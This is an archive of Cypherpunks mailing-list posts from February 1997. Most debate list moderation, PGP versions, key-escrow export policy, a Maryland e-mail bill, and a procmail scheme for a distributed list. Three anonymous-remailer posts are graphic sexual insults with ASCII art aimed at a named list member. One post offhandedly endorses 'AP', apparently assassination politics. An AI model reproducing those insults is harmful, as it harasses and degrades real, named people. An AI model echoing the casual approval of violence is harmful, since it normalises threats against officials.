Date: Mon, 3 Feb 1997 17:40:33 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Moderation [Tim,Sandy]
Message-ID: <3.0.32.19970203174114.006ec708@192.100.81.136>
MIME-Version: 1.0
Content-Type: text/plain


At 11:48 PM 2/3/97 GMT, Adam Back wrote:
>
>Lucky Green <shamrock@netcom.com> writes:
>> I believe that Cypherpunks is beyond hope of recovery. In fact, each day
>> Cypherpunk (as in cypherpunks@toad.com) lives on, it does damage to the
>> cause. Let's kill the list. Once and for all. Let the hard core crypto go
>> to Coderpunks, the politics to Cryptography, and the garbage into the void.
>
>What about the leaks?  (rc4.c, Mykotronics dumpster contents, etc)
>Where do they go?

I have been thinking about this question. I don't really have an answer
other than that the more recent leaks posted to this list drew zero
response. How many of you remember the anonymous message posted to this
list revealing that Skipjack is an elliptic curve cipher? [One of the most
respected names in cryptography confirmed this to me in private
conversation. No, the person was not privy to the secret specs. The person
didn't need to be. :-]

If nobody cares about the leaks, why do we need to provide a forum for
them? Besides, there are other fora that could be used. sci.crypt or
Coderpunks are both good places to post "found" code.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wlkngowl@unix.asb.com (Mutatis Mutantdis)
Date: Mon, 3 Feb 1997 09:56:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PGP 2.1
Message-ID: <199702031820.NAA18754@unix.asb.com>
MIME-Version: 1.0
Content-Type: text/plain


On 3 Feb 1997 10:46:20 -0500, you wrote:

>Mark Henderson wrote:
>> 
>> Larry Johnson writes:
>> > Hello,
>> > Can any;one tell me how to get a version of PGP 2.1?
>> > Thanks
>> >
>> But, why do you want version 2.1?

>Because the guy who wrote it was let off after that on his jail 

Phil Zimmerman?

>charges, so I'm not going to use anything he made after that if

No, the charges were not "jail charges". They were for exporting munitions.
He was let off after 2.5 or 2.6.

The urban myth  is that 2.3a is safe.  You can read the source code
yourself.  2.6.2 is fine. Older versions actually have some minor bugs.

>I don't know why.
>I'm not saying that he rolled over or nothin buyt I'm gonna be
>paranoyd like he said in the book. I dont suposse he'd mind,
>since he said it.

You'd be using a version with holes in it. Why not read the source code
of the new version and verify it's security yourself? (If you can't
undertsand it, it won't matter which version you're using because you're
trusting it no matter what.)

>I'm not real smart sometimes but I'nm not a real lamer, either.
>(I don't think)

Well, start thinking....

Rob




-----
"The word to kill ain't dirty     | Robert Rothenburg (WlkngOwl@unix.asb.com)
 I used it in the last line       | http://www.asb.com/usr/wlkngowl/
 but use a short word for lovin'  | Se habla PGP:  Reply with the subject
 and dad you wind up doin' time." | 'send pgp-key' for my public key.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Krenn <krenn@nym.alias.net>
Date: Mon, 3 Feb 1997 10:00:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <19970203180027.1972.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



> Mark Henderson wrote:
> > 
> > Larry Johnson writes:
> > > Hello,
> > > Can any;one tell me how to get a version of PGP 2.1?
> > > Thanks
> > >
> > But, why do you want version 2.1?
> 
> Because the guy who wrote it was let off after that on his jail 
> charges, so I'm not going to use anything he made after that if
> I don't know why.
> I'm not saying that he rolled over or nothin buyt I'm gonna be
> paranoyd like he said in the book. I dont suposse he'd mind,
> since he said it.
> I'm not real smart sometimes but I'nm not a real lamer, either.
> (I don't think)
> 

No, you're not real smart. The source code is _provided_ with PGP. If
you are paranoid, _read_ it.

Krenn




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Mon, 3 Feb 1997 17:58:24 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: Govt & cyberspace
Message-ID: <v02140b03af1c360d86d0@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


[snip]
>"tech envy"-- what impact is this going to have on our
>government? it's becoming a huge issue. it may be a
>really great opportunity for a populist movement to
>truly reform the government in the process of upgrading
>their computers.

Even better, this is an opportunity to choke off all, or certainly
increased, funding in order to hasten its collapse.

>I suspect that the "groupware" technology
>that is just getting started will have major influence
>in these areas. as private companies find increasingly
>sophisticated ways of managing themselves, the obvious
>question will arise, "why can't we have an efficient govt
>when our private industries are"? the answer is, we
>can!!

Don't improve it, remove it!

>
>I've written about "electronic democracy" repeatedly. many
>people object to the idea. but when it is phrased in terms
>of groupware, it becomes more palatable. imagine a small
>company humming along with its groupware application that
>allows it to make company-wide decisions using a democratic
>process. moreover, the software is robust and scales well.
>why can't the same principles be scaled up, up, up? I predict
>that they will be in a rather extraordinary revolution.
>
>a new "velvet revolution"? comments anyone?

Democracy is not without its significant shortcomings. If you doubt this
read Tocquevelle.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 3 Feb 1997 18:08:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dissolving Choke Points
Message-ID: <199702040208.SAA09884@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:55 AM 2/3/97 -0800, Peter Hendrickson wrote:
...
>Another lesson is the danger of choke points.  We can see how
>tempting it is for people to exercise their control.  Even John Gilmore
>was unable to restrain himself from involuntary social engineering
>experiments.  Who would we have considered to be more trustworthy?
>
>Toad.com is a choke point, not just in terms of moderation but in
>terms of the rate at which it can distribute messages.  Let's
>replace it.
>
>What we want are many machines carrying the cypherpunks list.  A
>message posted to any machine goes to all of the others.  Each
>machine sends messages to its subscribers only once.  Some of
>these machines should be across borders.
>
>The mail loop and multiple posting problems are solved by observing
>the message IDs.
>
>Fast implementation: use moderated mailing list software.  Put a
>filter in the .forward file of the "moderator" account which looks
>at the message ID and forwards the message if it hasn't been seen
>already.  The mailing list machines all subscribe each other.
...
What you are suggesting is reminiscent of IRC.  Except, I think that each
IRC network has a central computer which could be controlled.

On your idea for fast implementation,  this could be hacked by would-be
censors.  A message comes into the list, the censor sees that the post is
from a regular enemy.  The censor then copies the header information onto a
new message, one containing garbage, or snippets from old posts, reads the
new post to see if it is acceptable, and if it is, adds a new header,
probably only the time would be changed, and transmits it out.  If the would
be censor was the sysop of a machine near the origin of the message, and if
the censor operated the censorship either by bots, or monitored the feed 24
hours a day, (not likely), then the actual message would get to few.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Mon, 3 Feb 1997 15:31:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: [PKP] Info please!
Message-ID: <199702032331.PAA13031@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Debauchery L[ethargic] Vilus K[unt]OTM likes to be the man in
the middle, getting it both up the ass and in his mouth.

   ,/         \,
  ((__,-"""-,__))
   `--)~   ~(--`
  .-'(       )`-, Debauchery L[ethargic] Vilus K[unt]OTM
  `~~`d\   /b`~~`
      |     |
      (6___6)
       `---`






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Mon, 3 Feb 1997 15:35:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Editted Edupage
Message-ID: <199702032334.PAA13147@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



When Dimitri L[eisuresuit] Vulis K[arcinogen] Of The Month's
mother gave birth to him after fucking with a bunch of sailors,
she didn't know who the father was but decided to tell him that
he was a Russian as the Russian sailor was the one who satisfied
her the most.

               _
              I I           
              I~I           
              I~I           
      __    _ I~I _  .      
      \ \  I_I/I-II-II      
       \~~\'   `-'`-'~I     
        \_ ) ~\_ /~~  )  Dimitri L[eisuresuit] Vulis K[arcinogen] Of The Month
          \_    Y    )'       
            \   ^   /       
             |~   ~|        
              =====






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Scott V. McGuire" <svmcguir@syr.edu>
Date: Mon, 3 Feb 1997 15:43:04 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <199702030626.WAA14617@toad.com>
Message-ID: <Pine.LNX.3.95L01at.970203173304.618A-100000@homebox>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I've been quiet about the moderation experiment (and I never posted
frequently anyway) but something Sandy wrote requires comment.  In
responding to Tim, Sandy points to the number of people on the censored
list as evidence of the acceptance of the filtering.  I am included in
that group and object to my silence being interpreted as support.

As Tim has pointed out, the bulk of the 2000 or so people who have
remained on the filtered list have never been active participants on the
list.  As we have never heard from them, we don't even know that they were
bothered by the flames and noise of the pre-filtered list.  And, even if
we did know, I don't think that there opinions should count as much as
those of the more active participants to the list.  A subscription to the
list does not make one a member of the Cypherpunks "community".  It is the
opinion of the members of the community and not the observers of it which
should matter.  (Even within the community, some people are more a part of
it than others, and nobody is more a part of it then Tim.)

As for the rest of us on the filtered list who are active (or occasionally
active) participants, our remaining on the list still can not be taken as
support for censorship.  Moderation of the list was announced as a one 
month experiment.  I didn't change my subscription from the filtered to
the unfiltered list because I expected this to end in a month and I was
willing to participate in the experiment.  You can't ask someone to try
something for a month to see if they like it and call there use of it in
that month evidence that they like it.

As long as I am writing, I may as well write the rest of my thoughts.  While
there was a period between the announcement of moderation and the start of
it during which people could (and did) comment on the change, the
announcement was clear that there would be moderation.  It was indeed a
fait accompli.  The moderated list should have been offered but not
imposed.  Then the experiment would have determined how many people
thought the list was so bad that they would seek moderation, rather than
determining how many thought moderation was so bad that they would seek to
avoid it.

Sandy, you said that you thought the list had improved since you began
moderating.  How could you think otherwise?  When you send an article to
the flames list its because you think the list would have been worse
otherwise.  I don't think the moderators opinion should be considered in
determining if moderation is a good thing.  I think there is a conflict of
interest there.

- --------------------
Scott V. McGuire <svmcguir@syr.edu>
PGP key available at http://web.syr.edu/~svmcguir
Key fingerprint = 86 B1 10 3F 4E 48 75 0E  96 9B 1E 52 8B B1 26 05



-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBMvZ3lN7xoXfnt4lpAQGjbgQAs9qqrOZCgHeT19yh6LOS8rsXVAglssVI
2VLCiKb/X0Ny1+p3kzTiit42uykv5IhoCn+GdJF0X08zW02ymRf6JIv2sLksW2ln
E+SZuUoLFk18emLIJMEVGNPW7cJEl7/a75IdETrU14RcdBN8F86bm5VK36kyNMIY
kPfB825uWxU=
=N3va
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Mon, 3 Feb 1997 17:51:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: RSA Algorithm
Message-ID: <199702040151.SAA12297@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Drunkard Vagina has been fired for masturbating in front of his
boss.

 ^-^-^-@@-^-^-^
      (..)     Drunkard Vagina






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "A. Padgett Peterson P.E. Information Security" <PADGETT@hobbes.orl.mmc.com>
Date: Mon, 3 Feb 1997 16:27:44 -0800 (PST)
To: eb@comsec.com
Subject: Re: RC5-12/32/5 contest solved
Message-ID: <970203192628.2021835b@hobbes.orl.mmc.com>
MIME-Version: 1.0
Content-Type: text/plain


>I received a nice flyer in the mail the other day from "Chip Express"
>(www.chipexpress.com, 800-95-CHIPX). They are offering Laser
>Programmed Gate Arrays.  It appears to be a reasonable way to get some
>Wiener chips built.  As I recall, the Wiener design required about
>23,000 gates.  Their blurb had the following table in in:

>  FPGA Gates  ASIC Gates  500 Units  1000 Units  5000 Units
>    40,000      20,000      $77        $45         $10
>   Not Avail   200,000     $176       $150         $82

First I can buy a 486DX-66 (with fan) for $37, but to make it into a PC 
takes just a wee bit more. Second, there is a world of difference in speed
between a Field Programmable Gate Array and an Application Specific
Integrated Circuit. The second is much faster (have heard of up to 200 Mhz)
but doubt that you can get there with a laser (probably where the 50 Mhz
figure comes from). I suspect you will need to have a mask made first - that 
is where the real money goes. However lets consider that you are really lucky 
and the first mask works and you get 100% yield (good chips).

Next you need a backplane with an input mechanism to prime each of those
chips with the text to break (will assume you have built in the 
initialization sequences for each chip). Then you need a path to provide
the KPT to the XOR at the output, powersupply, RF shielding, and a few 
other minor items (can probably use a PC for a front end).

Then, you need a way to report success but that is trivial.

Finally, you need to hope that none of those 5000 chips experiences infant
mortality or that you have some scheme to detect if that happens and to
which chip (was there BITE in the design ?).

Personally, would design the 5,000 to provide possible answers (say 2^32)
as an initial step and then push that into a single MasPar or similar. Might
find out some interesting things that way while reducing the overall 
complexity.

Just some food for thought.
					Warmly,
						Padgett

ps couple of people last year were working with FPGAs, I corresponded
   with them briefly. Why not ask them how my "guesstimates" correlated
   with their experiments...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: thad@hammerhead.com (Thaddeus J. Beier)
Date: Mon, 3 Feb 1997 19:29:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: GAK cracking?
Message-ID: <199702040329.TAA28399@hammerhead.com>
MIME-Version: 1.0
Content-Type: text/plain



TIS's press releases, and the article in the paper, imply that
TIS has been approved for 128 bit (uncrackable, except by prior
arrangement) cryptography...not just 56 bit.  They say, and they
should know, that you can export 56 bits now with just a "plan"
of key escrow, and that you can export more if you have a system...
which, what do you know, they have!

thad
-- Thaddeus Beier                     thad@hammerhead.com
   Visual Effects Supervisor                408) 287-6770
   Hammerhead Productions  http://www.got.net/people/thad




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Clint Barnett <cbarnett@eciad.bc.ca>
Date: Mon, 3 Feb 1997 19:38:41 -0800 (PST)
To: Anonymous <nobody@replay.com>
Subject: Re: Getting into MIT is impossible
In-Reply-To: <199701290659.WAA21869@toad.com>
Message-ID: <Pine.SGI.3.91.970203193644.27838J-100000@oswald>
MIME-Version: 1.0
Content-Type: text/plain


wasn't Dolph Lundgren an MIT grad? I seem to remember something about him 
having a degree in Chemical Engineering  or something along those lines. 

clint barnett
lord of the cosmos
emily carr institute

On Wed, 29 Jan 1997, Anonymous wrote:

> 
> 
> According to Rick Osborne:
> 
> "I disagree and can speak from experience.  I was denied admission to MIT
> even thought I had a 3.82 GPA, 1440 SAT (one try), and had taken 9 AP tests
> with two 5's, four 4's, two 3's, and one 2.  As for being well-rounded, I
> was on several academic teams, sang in Chorus, acted and stage managed in
> Drama, and played Tennis."
> 
> People get into MIT--or don't get into MIT--for lots of reasons. Most
> intelligent people apply to several schools, knowing that admissions
> practices are subject to the vagaries of reality.
> 
> In my case, my SATs were about 1500, with some 800s in achievement tests.
> And the usual bullshit high school clubs, political offices, etc. etc. I
> was accepted by MIT, but not by Caltech. I didn't lose any sleep over the
> way things turned out.
> 
> And I decided not to go to MIT, either.
> 
> "The only thing I didn't have that the next MIT applicant had was money.  I
> made the mistake of letting them know that I was dirt poor and would need
> full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the
> Russian front!""
> 
> My guess is that "other factors" were involved. 
> 
> I noted with some interest, but little surprise, that the guy claiming MIT
> required a 4.0 GPA and a 1600 combined SAT score could barely spell, and
> had major problems making a coherent point. Methinks this is why MIT
> rejected him, not his lack of a "1600."
> 
> ">For what it's worth, I wanted to go to MIT my sophomore year in high
> >school, too
> 
> "Lucky you.  It had been a dream of mine since I was an annoying
> overachiever of 6.  Sux to be white trash, I guess."
> 
> MIT offered me a substantial economic aid package, in the form of loans,
> grants, and various campus jobs. What does this tell you?
> 
> "MIT may be a great school, but they tend to be snooty assholes for the most
> part.  (DISCLAIMER: Not all MIT grads/attendees are necessarily "snooty
> assholes", I'm just saying that I've yet to meet one that wasn't.)
> 
> I've known about a dozen or so MIT grads, and only one of them was a snooty
> asshole, and it was a _she_, one of the first MIT women grads (and she was
> _very_ impressed by this). 
> 
> Most MIT grads are perfectly reasonable.
> 
> Xanthar
> 
> 
> 
> 
> --
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 3 Feb 1997 17:46:41 -0800 (PST)
To: aba@dcs.ex.ac.uk (Adam Back)
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <199702040027.AAA00276@server.test.net>
Message-ID: <199702040139.TAA01626@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Adam Back wrote:
> 
> Perhaps it is time to reconsider the benefits of alt.cypherpunks.  (As
> an aside, it is ironic that John Gilmore was the guy who started the
> alt.* USENET hierarchy, specifically to facilitate freedom of speech).
> 

An interesting idea.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Mon, 3 Feb 1997 19:45:44 -0800 (PST)
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: Embarrass a Marylander, Go to Jail
Message-ID: <199702040345.TAA03330@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:04 PM 2/3/97 -0500, Robert Hettinga wrote:
>
>--- begin forwarded text
> Excerpted from...
>
> =============================================================
> AOP Bulletin      Friday, February 3, 1997       Volume 97:05
> =============================================================
>
> The following is information distributed to members of the
> Association of Online Professionals and others involved in the
> online communications industry.  Contacts and other information
> about AOP may be found at http://www.aop.org.
>
>
> *****************************************************
> Maryland Recycles Law On "Annoying" E-Mail
> *****************************************************
>
> A Maryland bill that would make it illegal to send "annoying"  or
> "embarrassing" e-mail was introduced this week by Democratic General
> Assembly member Samuel Rosenberg.

I would find any email "annoying" that supported such a bill.  Maybe we 
ought to send emails to Rosenberg, stating that we find his entire proposal 
"annoying," and ask him when he's going to turn himself in for his misdeeds.


Another good argument for AP.



Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Mon, 3 Feb 1997 19:45:49 -0800 (PST)
To: "cypherpunks@toad.com
Subject: Re: GAK cracking?
Message-ID: <199702040345.TAA03337@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:45 AM 2/3/97 -0500, tmcghan@gill-simpson.com wrote:
>But under a controversial new Clinton administration policy that took 
>effect Jan. 1, companies may receive permission to export stronger 
>programs. 
>
>"I'm happy that we've been able to do this within the first month 
>without rancor or difficulty," Under Secretary of Commerce for Export 
>Administration William Reinsch told Reuters in a telephone interview. 
>
>To export stronger programs immediately, companies must agree to 
>incorporate features within two years allowing the government to 
>decode encrypted messages by recovering the software keys, however. 


This ought to be challengeable.  (equal-protection violation?)  

And while the government's actions are normally phrased in this way, another 
way to describe them is to argue that the government is:

1.   Wanting a product or service to be developed.

2.   Wants private companies to do this.

3.   Wants to do so without Congress appropriating the money.  (And they're 
doing it by, in effect, "paying" for it by allowing certain companies to 
export freely, with the requirement that the company does the work "gratis".)

4.   Wants to do so without any sort of competitive bidding process.  (The 
terms of the contract have not gone through any of the normal procedures.)


I assume there are laws and/or rules which prohibit exactly this kind of 
behavior. 

Would it be possible to file a lawsuit, and then file for an injunction to 
prevent this de-facto deal from going through?   Might this constitute an 
anti-trust violation, because multiple companies are acting in concert to 
restrict access to the foreign crypto market by agreeing to develop ONLY A 
CERTAIN KIND OF ENCRYPTION, namely GAKked encryption?




Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Mon, 3 Feb 1997 19:53:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dissolving Choke Points
Message-ID: <3.0.1.32.19970203195901.006ea230@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:55 AM 2/3/97 -0800, Peter Hendrickson wrote:

>Moderation has been a failure.  I'm pretty good at filtering and I
>can sadly report that there is very little signal out there.

I don't think it's reasonable to expect an increase in signal within 2 1/2
weeks of the start of moderation. Improvement in the s/n ratio, yes. But
(at least if my speculation is correct), the good posts driven away by bad
posts (because some good authors are too busy to wade through lots of crap,
and some good authors are reluctant to publish their work amidst crap)
would take a much longer time to return.

(I'm working on a message re moderation and the list which will better
explain what I think about that - but I'm not trying to argue, above, that
we *must* have moderation for a long time - simply that it's too early to
call it a failure for failing to significantly increase the number of
useful messages.) 

>There are lessons to be learned here.  One is that censorship does
>not promote a stimulating and creative dialogue.

No, that is a silly lesson to draw from this experiment. There are lots of
useful and interesting "moderated" (on paper, it's called "editing")
publications/lists/digests where the content is intentionally controlled
for content and style. 

This particular implementation is imperfect. However, just as it would be
overreaching to conclude from the relative uselessness of the
pre-moderation list that "every list must be moderated, unmoderated lists
cannot succeed", it overreaches to conclude from the current results that
moderated lists cannot succeed.

>Toad.com is a choke point, not just in terms of moderation but in
>terms of the rate at which it can distribute messages.  Let's
>replace it.
>
>What we want are many machines carrying the cypherpunks list.  A
>message posted to any machine goes to all of the others.  Each
>machine sends messages to its subscribers only once.  Some of
>these machines should be across borders.
>
>The mail loop and multiple posting problems are solved by observing
>the message IDs.

I think you misspelled "Usenet". Hope this helps. 

Seriously, if you want a distributed no-choke-points "flooding" message
distribution system, you're talking about Usenet. Robust software exists
for clients and servers, and it's already supported worldwide on many
operating systems. No need to write more software to graft that
functionality onto E-mail. If the list is going to turn into Usenet (we've
already got most of Usenet's better kooks), we might as well just move the
damn thing over to alt.cypherpunks and be done with it. (Anyone care to
guess who founded alt.* as a way to route around censorship?)

(Of course, Usenet is a technical success and a spectacular failure,
content-wise. So opponents of moderation will be forgiven for failing to
mention this sparkling example of an unmoderated, anything-goes forum for
discussion.)


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 3 Feb 1997 18:03:12 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: Dissolving Choke Points (fwd)
Message-ID: <199702040200.UAA01810@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


> From: ####### ### <###@###.com>
> To: ichudov@algebra.com
> Subject: Re: Dissolving Choke Points
> 
> ichudov@algebra.com writes:
>  > i do have unix (linux) and stuff, but i can't take a lot of subscribers
>  > -- maybe 200-300 or so.
>  > 
>  > i actually wrote a proposal for a mailing list without a central control
>  > point, with several advantages being impossibility of control, absense
>  > of a single point of failure, and cryptographic verification of honesty 
>  > of moderators.
>  > 
>  > if there is any interest, i will post it here.
> 
>      Please do.
> 
> Regards,
> 
> ####### ###

Here, I propose a new scheme for the Cypherpunks mailing list that would

1) Ensure that no one person is able to take over the control over the list
2) Ensure that there will be no single point of failure, i.e., shutdown
   of any single computer will not kill the list
3) Ensure that even people with relatively small Net resources can help
   keep the list afloat.

The idea is as follows: even though Cypherpunks is one group, the group
will be based on multiple mailing lists with identical content. These
lists may be named, for example, cypherpunks@algebra.com,
cypherpunks@toad.com, and cypherpunks@netcom.com (obviously, these names
are used as an example only).

Any user is free to subscribe to any of these lists. All of these lists
will interact with each other in the following way: 

1) Each node would forward ALL incoming submissions to a) all other nodes
   and b) to all subscribers "attached" to the node
2) Each node will send information about all new subscriptions to 
   each other node.

The following procmail recipes for cypherpunks@ accounts may be used to 
ensure quick forwarding: 

# is it sent to cypherpunks (some spams will be trashed here)
# and is it not a mail loop?
:0
* ^TOcypherpunks
* !^X-Loop:
{
  #
  # This recipe removes duplicates!
  #
  :0 Wh: msgid.lock
  | formail -D 32768 msgid.cache

  # forward it to other cypherpunks lists
  :0 c
  !cypherpunks@netcom.com cypherpunks@toad.com

  # send it to all local subscribers
  :0 c
  !majordomo -some -arguments

  # store the checksum and message-id for honesty verification (see below)
  :0
  |accounting
}

# suSCRibe/unsuSCRibe recipes go here

This scheme ensures that the list is run in a cooperative fashion and
can be maintained by a number of individuals without any one of them
having an expensive internet connection or being "in charge". It also
ensures that even if one node fails, traffic can be re-routed to other
nodes. Just as well, it ensures that any attempts of cheating will be
noticed: it is easy to write a bot that would subscribe to all of these
lists and see if any messages get "lost".

Users can send their articles to only one node, or, if they feel
paranoid, to several nodes at once. All we need is to make sure that 
all Message-IDs of outgoing messages are unique at every node.

Honesty verification: 

I suppose that there may be some more elaborate, crypto-based schemes 
to control and monitor article distribution. For example, there can be
another list, cypherpunks-control, where each of the nodes posts a 
publicly available signed summary of checksums of articles that went
through, and individual users would be able (with the help of s simple
client program) to verify that

        1) They received these articles
        2) That summaries received from all nodes are identical
        3) That all articles were received by all nodes


They do not HAVE to do it, but they can if they want. If they do, there
will be no way for list maintainers to censor anything.

If a node goes down or if the users' verification scripts indicate a 
potential for cheating, they can resubscribe to some other node and
let everyone else know what's going on.

My proposal strikes me as fairly simple and potentially workable. Even
though 90% of the users will never get to usnig the verification
mechanism, it will ensure honesty.

Note also that this mechanism is a gross simplification of the way 
USENET works, so some may vouch for a usenet group instead. 

Your opinions will be appreciated.

        - Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 3 Feb 1997 17:10:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Embarrass a Marylander, Go to Jail
Message-ID: <v03007800af1c3b80e923@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Mon, 3 Feb 1997 19:25:51 -0500 (EST)
To: Multiple Recipients of e$pam <e$pam@intertrader.com>
From: e$pam@intertrader.com (e$pam)
Reply-To: e$@thumper.vmeng.com
X-Comment: To unsubscribe, send any email to e$pam-off@intertrader.com
Precedence: Bulk
Subject: Embarrass a Marylander, Go to Jail
X-orig-from: Randy Cassingham <arcie@netcom.com>
X-e$pam-source: Various

Forwarded by Robert Hettinga

-----------------------------------------------------------------------
Date: Mon, 3 Feb 1997 14:37:56 -0700 (MST)
 From: Randy Cassingham <arcie@netcom.com>
 Subject: Embarrass a Marylander, Go to Jail
 To: listmom-talk@skyweyr.com
 Mime-Version: 1.0
 Precedence: Bulk
 Reply-To: listmom-talk@skyweyr.com


Passed on without comment.

  /  Randy Cassingham  *  Author, "This is True"  *  arcie@netcom.com  \
  | For info on What I Do, send a blank e-mail to TrueInfo@freecom.com |
  \ or check out <http://www.freecom.com/> * I promise you'll like it  /
   + FIGHT SPAM! Send a blank e-mail to nospam@mailback.com for help! +

 ---------- Forwarded message ----------

 Excerpted from...

 =============================================================
 AOP Bulletin      Friday, February 3, 1997       Volume 97:05
 =============================================================

 The following is information distributed to members of the
 Association of Online Professionals and others involved in the
 online communications industry.  Contacts and other information
 about AOP may be found at http://www.aop.org.


 *****************************************************
 Maryland Recycles Law On "Annoying" E-Mail
 *****************************************************

 A Maryland bill that would make it illegal to send "annoying"  or
 "embarrassing" e-mail was introduced this week by Democratic General
 Assembly member Samuel Rosenberg.

 The bill got little support when it was introduced last year, but
 Rosenberg hopes to play off of recent murders involving electronic mail to
 see the bill passed.

 Civil liberties groups argue that the law would be unconstitutional, and
 that the terms "annoy" and "embarrass"  are too vague to be meaningful.
 If passed, House Bill 778 would amend the state's criminal harassment law
 to prohibit the use of email to annoy, abuse, torment, harass, or
 embarrass other people, with violators receiving a fine up to $500 and
 three years in jail.

 A similar bill introduced last year is quietly progressing through New
 York's state legislature. Senate Bill 1414, introduced by Democratic State
 Senator Ray Goodman, could be voted on in the House early this year.

 Full text of the Maryland bill can be found at
 http://mlis.state.md.us/1997rs/billfile/HB0778.htm.



--------------------------------------------------
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--- end forwarded text



-----------------
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e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@MICROSOFT.com>
Date: Mon, 3 Feb 1997 20:12:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Govt & cyberspace
Message-ID: <88CE23A0B727D0118BB000805FD47524AF3DAB@RED-81-MSG>
MIME-Version: 1.0
Content-Type: text/plain


Comments From:	Steve Schear  (in response to Vladimir Nuri-logical)

Even better, this [govmt "tech envy"] is an opportunity to choke off
all, or certainly
increased, funding in order to hasten its [govmt] collapse.
	...&...
Don't improve it, remove it!
	...&...
Democracy is not without its significant shortcomings. If you doubt this
read Tocquevelle.
........................................


Very pertinent suggestions.  Anyone who knows his history on the list
knows how Nuri-logical looks forward to the collapse of governments and
is especially fond of reading Tocqueville.

   ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Farber <farber@cis.upenn.edu>
Date: Mon, 3 Feb 1997 17:41:57 -0800 (PST)
To: Sean Roach <roach_s@ALPH.SWOSU.EDU>
Subject: Re: concerning Ben Franklin
Message-ID: <3.0.1.32.19970203204058.006e465c@linc.cis.upenn.edu>
MIME-Version: 1.0
Content-Type: text/plain


My favorate Ben Franklin quote is

"They that can give up essential liberty to obtain a little temporary 
 safety deserve neither liberty nor safety."       - Ben Franklin, ~1784




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@MICROSOFT.com>
Date: Mon, 3 Feb 1997 21:25:58 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: My Departure, Moderation, and "Ownership of the List"
